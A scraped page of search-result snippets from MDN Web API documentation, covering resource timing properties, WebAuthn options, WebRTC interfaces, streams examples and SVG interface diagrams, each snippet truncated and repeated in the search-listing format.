... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.domainLookupEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { va...
...r value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.domainLookupStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.redirectEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.redirectStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.requestStart - Web APIs
syntax resource.requeststart; return value a domhighrestimestamp representing the time immediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.responseEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.responseStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.secureConnectionStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supp...
...orted) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PerformanceResourceTiming.workerStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart", "workerstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfen...
...try; if (supported) { var value = perfentry[properties[i]]; console.log("...
...And 2 more matches
PublicKeyCredentialCreationOptions.attestation - Web APIs
syntax attestation = publickeycredentialcreationoptions.attestation value a string which may be "none": the relying party is not interested in this attestation.
... "indirect": the client may change the assertion from the authenticator (for instance, using an anonymization ca).
... "direct": the relying party wants to receive the attestation as generated by the authenticator.
...And 2 more matches
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
syntax authenticatorselection = publickeycredentialcreationoptions.authenticatorselection value an object with the following properties: authenticatorattachmentoptional a string which is either "platform" or "cross-platform".
...the values may be: "required": user verification is required, the operation will fail if the response does not have the uv flag (as part of the authenticatordata property of authenticatorattestationresponse.attestationobject) "preferred": user verification is prefered, the operation will not fail if the response does not have the uv flag (as part of the authenticatordata property of authenticatorattestationresponse...
....attestationobject) "discouraged": user verification should not be employed as to minimize the user interaction during the process.
...And 2 more matches
RTCDataChannel.binaryType - Web APIs
values allowed by the websocket.binarytype property are also permitted here: "blob" if blob objects are being used or "arraybuffer" if arraybuffer objects are being used.
... the default is "blob".
... syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
...And 2 more matches
RTCDataChannelEvent() - Web APIs
there is only one type of rtcdatachannelevent, so this will always be "datachannel".
... rtcdatachanneleventinit a rtcdatachanneleventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the event.
... "bubbles", optional, inherited from eventinit.
...And 2 more matches
RTCIceCandidate.component - Web APIs
syntax var component = rtcicecandidate.component; value a domstring which is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates.
...the next field on the a-line, "1", is the component id.
... a value of "1" indicates rtp, which is recorded in the component property as "rtp".
...And 2 more matches
RTCIceCandidate - Web APIs
this string is empty ("") if the rtcicecandidate is an "end of candidates" indicator.
... component read only a domstring which indicates whether the candidate is an rtp or an rtcp candidate; its value is either "rtp" or "rtcp", and is derived from the "component-id" field in the candidate a-line string.
... protocol read only a string indicating whether the candidate's protocol is "tcp" or "udp".
...And 2 more matches
RTCIceTransport.ongatheringstatechange - Web APIs
its possible values are: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
... "gathering" the transport is in the process of gathering candidates.
... "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device.
...And 2 more matches
RTCPeerConnection.createOffer() - Web APIs
set to either "sendonly" or "inactive").
...set to either "sendonly" or "inactive").
... voiceactivitydetection optional some codecs and hardware are able to detect when audio begins and ends by watching for "silence" (or relatively low sound levels) to occur.
...And 2 more matches
RTCPeerConnectionIceEvent() - Web APIs
syntax var event = new rtcpeerconnectioniceevent(type, options); parameters type is a domstring containing the name of the event, like "icecandidate".
... options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event.
... "url" (optional, default is null): the url of the stun or turn server which was used to gather the candidate.
...And 2 more matches
RTCRtpTransceiver.direction - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "recvonly" does not offer to send rtp data, and will not do so.
...And 2 more matches
ReadableStream.cancel() - Web APIs
examples in jake archibald's cancelling a fetch example, a stream is used to fetch the whatwg html spec chunk by chunk; each chunk is searched for the string "service workers".
... var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var url = 'https://html.spec.whatwg.org/'; console.log(`searching '${url}' for '${searchterm}'`); fetch(url).then(response => { console.log('received headers'); var decoder = new textdecoder(); var reader = response.body.getreader(); var tomatch = caseinsensitive ?
...buffer.tolowercase() : buffer).indexof(tomatch); } if (matchfoundat === -1) { buffer = buffer.slice(-buffersize); } else if (buffer.slice(matchfoundat + tomatch.length).length >= contextafter) { console.log("here's the match:") console.log(buffer.slice( math.max(0, matchfoundat - contextbefore), matchfoundat + tomatch.length + contextafter )); console.log("cancelling fetch"); reader.cancel(); return; } else { console.log('found match, but need more context…'); } // keep reading return reader.read().then(process); }); }).catch...
...And 2 more matches
Resource Timing API - Web APIs
the performanceresourcetiming interface extends the performanceentry for performance entries which have an entrytype of "resource".
... the initiatortype property returns the type of resource that initiated the performance entry such as "css" for a css resource, "xmlhttprequest" for an xmlhttprequest and "img" for an image (such as a jpeg).
...the clearresourcetimings() method removes all "resource" type performance entries from the browser's resource performance entry buffer.
...And 2 more matches
SVGGeometryElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline...
...="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size=...
..."12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><...
...And 2 more matches
SVGLineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,...
...25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text...
...-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/...
...And 2 more matches
SVGPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
...2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text...
...></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y=...
...And 2 more matches
SVGPolygonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30...
... 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53...
..." text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="...
...And 2 more matches
SVGPolylineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,...
...30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e...
...53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href...
...And 2 more matches
SVGTextContentElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e5...
...3" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width=...
..."2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1...
...And 2 more matches
SVGTextPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y...
...1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eleme...
...nt</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x=...
...And 2 more matches
SVGTextPositioningElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-base...
...line="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-s...
...ize="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4...
...And 2 more matches
Using writable streams - Web APIs
the constructor call in our example looks like this: const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); v...
